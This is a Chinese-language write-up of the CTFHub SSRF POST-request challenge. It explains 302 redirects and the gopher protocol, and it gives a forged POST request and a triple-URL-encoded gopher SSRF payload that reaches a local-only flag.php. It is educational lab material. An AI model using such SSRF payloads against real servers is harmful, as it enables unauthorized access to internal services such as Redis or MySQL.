CTFHUB-SSRF-POST请求(小宇特详解)

CTFHUB-SSRF-POST请求

这里先说一下这里你需要知道的东西

而不是只会做题,不知道其所以然

这里我先说一下这里题里说的302跳转在这里发挥了什么作用

302跳转的302是http状态码

表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL

这里可以通过访问302.php,并且传参gopher来伪造本地访问

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议

可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。

那么Gopher协议需要如何构造妮?

其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码

我们来看看Gopher协议的基本协议格式

gopher://:/_后接TCP数据流

这里直接写伪造的gopher协议

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d93819c4c1a18dc606dc5c6486f77227

这里通过gopher协议把key写入,并且直接访问flag.php

这里的步骤就是

1.先访问本地的127.0.0.1/flag.php,查看源代码,发现了只能本地访问,并且有key

CTFHUB-SSRF-POST请求(小宇特详解)_第1张图片

这里在访问一下302.php

CTFHUB-SSRF-POST请求(小宇特详解)_第2张图片

这里通过302.php的跳转来实现gopher协议伪造

这里我是url编码了3次,然后需要把%0A换成%0D%0A

CTFHUB-SSRF-POST请求(小宇特详解)_第3张图片

payload

127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D0d2ed811e079dbd8e0bf85a0cb262d2e

你可能感兴趣的:(安全)